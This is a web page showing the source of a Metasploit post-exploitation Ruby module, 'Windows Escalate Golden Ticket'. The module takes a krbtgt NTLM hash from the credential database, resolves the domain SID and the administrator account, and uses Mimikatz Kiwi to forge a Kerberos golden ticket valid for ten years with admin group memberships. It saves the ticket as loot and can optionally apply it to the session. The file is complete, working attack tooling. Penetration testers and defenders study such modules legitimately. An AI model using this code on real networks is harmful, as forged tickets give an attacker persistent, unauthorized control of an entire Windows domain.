Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/escalate/golden_ticket.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::NetAPI7include Msf::Post::Windows::Accounts8include Msf::Post::Windows::Kiwi9include Msf::Post::Windows::Error1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Escalate Golden Ticket',16'Description' => %q{17This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no18options are applied it will attempt to identify the current domain, the domain administrator19account, the target domain SID, and retrieve the krbtgt NTLM hash from the database. By default20the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket.21},22'License' => MSF_LICENSE,23'Author' => [24'Ben Campbell'25],26'Platform' => [ 'win' ],27'SessionTypes' => [ 'meterpreter' ],28'References' => [29['URL', 'https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos']30],31'Compat' => {32'Meterpreter' => {33'Commands' => %w[34kiwi_exec_cmd35stdapi_railgun_api36]37}38}39)40)4142register_options(43[44OptBool.new('USE', [true, 'Use the ticket in the current session', false]),45OptString.new('USER', [false, 'Target User']),46OptString.new('DOMAIN', [false, 'Target Domain']),47OptString.new('KRBTGT_HASH', [false, 'KRBTGT NT Hash']),48OptString.new('Domain SID', [false, 'Domain SID']),49OptInt.new('ID', [false, 'Target User ID']),50OptString.new('GROUPS', [false, 'ID of Groups (Comma Separated)']),51OptInt.new('END_IN', [true, 'End in ... Duration in hours, default 10 YEARS (~87608 hours)', 87608])52]53)54end5556def run57return unless load_kiwi5859user = datastore['USER']60domain = datastore['DOMAIN']61krbtgt_hash = datastore['KRBTGT_HASH']62domain_sid = datastore['SID']63id = datastore['ID'] || 064end_in = datastore['END_IN'] || 876086566unless domain67print_status('Searching for the domain...')68domain = get_domain69if domain70print_good("Targeting #{domain}")71else72fail_with(Failure::Unknown, 'Unable to retrieve the domain...')73end74end7576unless krbtgt_hash77if framework.db.active78print_status('Searching for krbtgt hash in database...')79krbtgt_hash = lookup_krbtgt_hash(domain)80fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash81else82fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash')83end84end8586unless domain_sid87print_status("Obtaining #{domain} SID...")88domain_sid = lookup_domain_sid(domain)8990if domain_sid91print_good("Found #{domain} SID: #{domain_sid}")92else93fail_with(Failure::Unknown, "Unable to find SID for #{domain}")94end95end9697unless user98if id && id != 099print_status("Looking up User ID: #{id}")100user = resolve_sid("#{domain_sid}-#{id}")[:name]101else102print_status('Looking up Domain Administrator account...')103user = resolve_sid("#{domain_sid}-500")[:name]104end105106if user107print_good("Found User: #{user}")108else109fail_with(Failure::Unknown, 'Unable to find User')110end111end112113# Golden Ticket requires an NTHash114if Metasploit::Framework::Hashes.identify_hash(krbtgt_hash) != 'nt'115fail_with(Failure::BadConfig, 'KRBTGT_HASH must be an NTHash')116end117nt_hash = krbtgt_hash.split(':')[1]118119print_status("Creating Golden Ticket for #{domain}\\#{user}...")120ticket = client.kiwi.golden_ticket_create({121user: user,122domain_name: domain,123domain_sid: domain_sid,124krbtgt_hash: nt_hash,125id: id,126group_ids: datastore['GROUPS'],127end_in: end_in128})129130if ticket131print_good('Golden Ticket Obtained!')132kirbi_ticket = Base64.decode64(ticket)133kirbi_location = store_loot('golden_ticket',134'kirbi',135session,136kirbi_ticket,137"#{domain}\\#{user}-golden_ticket.kirbi",138"#{domain}\\#{user} Golden Ticket")139print_status("Kirbi ticket saved to #{kirbi_location}")140krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(kirbi_ticket)141142ccache_ticket = Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)143ccache_location = store_loot('golden_ticket',144'ccache',145session,146ccache_ticket.to_binary_s,147"#{domain}\\#{user}-golden_ticket.ccache",148"#{domain}\\#{user} Golden Ticket")149print_status("ccache ticket saved to #{ccache_location}")150151if datastore['USE']152print_status('Attempting to use the ticket...')153client.kiwi.kerberos_ticket_use(ticket)154print_good('Kerberos ticket applied successfully')155end156else157fail_with(Failure::Unknown, 'Unable to create ticket')158end159end160161def lookup_domain_sid(domain)162string_sid = nil163164cb_sid = sid_buffer = 100165cch_referenced_domain_name = referenced_domain_name_buffer = 100166167res = client.railgun.advapi32.LookupAccountNameA(168nil,169domain,170sid_buffer,171cb_sid,172referenced_domain_name_buffer,173cch_referenced_domain_name,1741175)176177if !res['return'] && res['GetLastError'] == INSUFFICIENT_BUFFER178sid_buffer = cb_sid = res['cbSid']179referenced_domain_name_buffer = cch_referenced_domain_name = res['cchReferencedDomainName']180181res = client.railgun.advapi32.LookupAccountNameA(182nil,183domain,184sid_buffer,185cb_sid,186referenced_domain_name_buffer,187cch_referenced_domain_name,1881189)190elsif !res['return']191return nil192end193194if res['return']195sub_authority_count = res['Sid'].unpack('CC')[1]196sid = res['Sid'].unpack("CCCCCCCCV#{sub_authority_count}")197198string_sid = "S-#{sid[0]}-#{sid[7]}-#{sid[8]}-#{sid[9]}-#{sid[10]}-#{sid[11]}"199else200print_error("Error looking up SID: #{res['ErrorMessage']}")201end202203string_sid204end205206def lookup_krbtgt_hash(domain)207krbtgt_hash = nil208209krbtgt_creds = Metasploit::Credential::Core.joins(:public, :private).where(210metasploit_credential_publics: { username: 'krbtgt' },211metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' },212workspace_id: myworkspace_id213)214215if krbtgt_creds216217if krbtgt_creds.count == 0218print_error('No KRBTGT Hashes found in database')219elsif krbtgt_creds.count > 1220221# Can we reduce the list by domain...222krbtgt_creds_realm = krbtgt_creds.select { |c| c.realm.to_s.upcase == domain.upcase }223224# We have found a krbtgt hashes in our target domain225if krbtgt_creds_realm.length == 1226cred = krbtgt_creds_realm.first227krbtgt_hash = cred.private.data.split(':')[1]228print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")229return krbtgt_hash230# We have found multiple krbtgt hashes in our target domain?!231elsif !krbtgt_creds_realm.empty?232krbtgt_creds = krbtgt_creds_realm233end234235# Multiple hashes found, the user will have to manually set one...236print_error('Multiple KRBTGT Hashes found in database, please use one of the below:')237krbtgt_creds.each do |kc|238hash = kc.private.data.split(':')[1]239print_line("#{kc.realm}:#{kc.public.username}:#{hash}")240end241else242# Highlander, there can only be one!243cred = krbtgt_creds.first244krbtgt_hash = cred.private.data.split(':')[1]245print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")246end247end248249krbtgt_hash250end251end252253254